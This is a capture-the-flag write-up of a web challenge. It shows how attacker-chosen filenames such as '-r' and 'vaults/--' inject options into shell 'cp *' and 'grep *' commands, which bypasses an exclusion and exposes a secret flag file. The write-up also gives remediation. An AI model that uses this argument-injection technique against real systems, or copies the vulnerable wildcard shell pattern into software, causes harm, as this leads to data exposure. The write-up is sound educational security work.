YesWeHack Dojo 49: Secret Manager
TL;DR
- The application writes user-controlled filenames into an uploads directory.
- All files are backed up into a vault using a shell
cpcommand. - The vault can be searched using a shell
grepcommand. - Both commands rely on wildcards and weak input validation.
- By abusing argument injection via crafted filenames, we can read
internal_secrets/flag.txt.
Description
A new secret manager has appeared on the market, and its popularity is rising swiftly. โSafely store, manage, and delete your secrets,โ they say. Our team has found a testing environment for the application. Interestingly enough, the developers left an internal secrets folder sitting within the application.
Solution
In this writeup, we'll review the latest YesWeHack Dojo challenge, created by zerodaygym ๐
Follow me on Twitter and LinkedIn (and everywhere else ๐ช) for more hacking content! ๐ฅฐ
Source code review
setup.py
The setup script prepares the environment and writes the flag to an internal secrets folder, setting up the vulnerable file structure.
import os
os.chdir('/tmp')
os.mkdir('templates')
os.mkdir('uploads')
os.mkdir('uploads/internal_secrets')
os.mkdir('uploads/vaults')
os.mkdir('uploads/extracted')
with open('uploads/internal_secrets/flag.txt', 'w') as f:
f.write(flag)
with open('uploads/internal_secrets/admin_credentials.txt', 'w') as f:
f.write('admin:super_secret_password_123\n')
with open('uploads/user_secrets.txt', 'w') as f:
f.write('This is a user secret file.\n')
So we have:
/tmp/uploads/
โโโ internal_secrets/
โ โโโ flag.txt
โ โโโ admin_credentials.txt
โโโ vaults/
โโโ extracted/
โโโ user_secrets.txt
We know our target: /tmp/uploads/internal_secrets/flag.txt ๐ฏ
app.py
Opening the main app, there are four POST parameters:
action = unquote("action")
filenames = unquote("filenames").split()
content = unquote("content")
grep = unquote("search_term")
filenames is split on whitespace, so we can provide multiple filenames separated by newlines.
There is some basic validation, which immediately makes us think about directory traversal:
if filename.startswith('/'):
message = "Error: the filename cannot start with '/'"
elif '\\' in filename or '..' in filename:
message = "Error: Invalid filename"
Each filename is then written directly into /tmp/uploads/
file_path = os.path.join(UPLOAD_FOLDER, filename)
with open(file_path, "w") as f:
f.write(content if content else "No content in the file!")
After that, everything inside uploads is copied into the vault:
os.chdir(UPLOAD_FOLDER)
os.system(f'cp * {VAULT_FOLDER} 2>/dev/null')
os.chdir('/tmp')
Later, if action=search, the app runs:
os.chdir(VAULT_FOLDER)
result = os.popen(
f'grep -r "{grep}" * --exclude-dir=internal_secrets 2>/dev/null'
).read()
os.chdir('/tmp')
The grep pattern is restricted to [a-zA-Z0-9.]+, so classic command injection via search_term is blocked. However:
cpuses*grepuses*- Both are executed via the shell
- Filenames are attacker-controlled
At first glance this looks like directory traversal. The more interesting part is the two shell commands using *.
Testing functionality
Before exploiting anything, lets confirm intended behaviour. We upload two files and immediately view them:
ACTION=viewFileCONTENT=meowFILENAMES=
meow.txt
ekek.txt

The output confirms:
Upload succeeded! Your secrets are: ekek.txt, extracted, internal_secrets, meow.txt, user_secrets.txt, vaults
Content of 'meow.txt':
meow
Content of 'ekek.txt':
meow
So we know:
- Files are written into
/tmp/uploads/ - Everything is copied into
/tmp/uploads/vaults/ viewFilereads from the vault copy- The app claims
internal_secretsis excluded for security
Exploit
There are two shell commands:
cp * /tmp/uploads/vaults
grep -r "<term>" * --exclude-dir=internal_secrets
Both rely on *, which expands to filenames we control.
Step 1: inject into cp
If we create a file called -r and the app runs:
cp * /tmp/uploads/vaults
The shell expands * to include -r, and cp interprets it as an option, e.g.
cp -r * /tmp/uploads/vaults
That effectively turns the backup into cp -r *, meaning the internal_secrets directory is now inside the vault as well.
Step 2: bypass --exclude-dir
The search command tries to exclude the sensitive folder:
--exclude-dir=internal_secrets
However, grep stops parsing options after --
So we create a file named:
vaults/--
cpruns inside/tmp/uploads/grepruns inside/tmp/uploads/vaults/
Placing -- inside the vault means:
- It does not interfere with the
cp -rinjection. - It does interfere with grep option parsing.
Final payload
ACTION=searchSEARCH_TERM=FLAGFILENAMES=
-r
vaults/--

When submitted, grep no longer excludes internal_secrets, and the flag is printed:

Flag: FLAG{A1m_F0r_Th3_St4r!}
Remediation
- Avoid running shell commands with wildcards and user-controlled filenames.
- Use
subprocess.runwith argument lists instead ofos.systemoros.popen. - Enforce directory boundaries using real path checks rather than substring filtering.
Summary
Because filenames are fully attacker-controlled, we can create -r to turn cp * into cp -r *, copying internal_secrets into the vault. We then create vaults/-- so grep stops parsing options and ignores its own --exclude-dir protection. A simple search for FLAG is enough to print the contents of internal_secrets/flag.txt in the UI.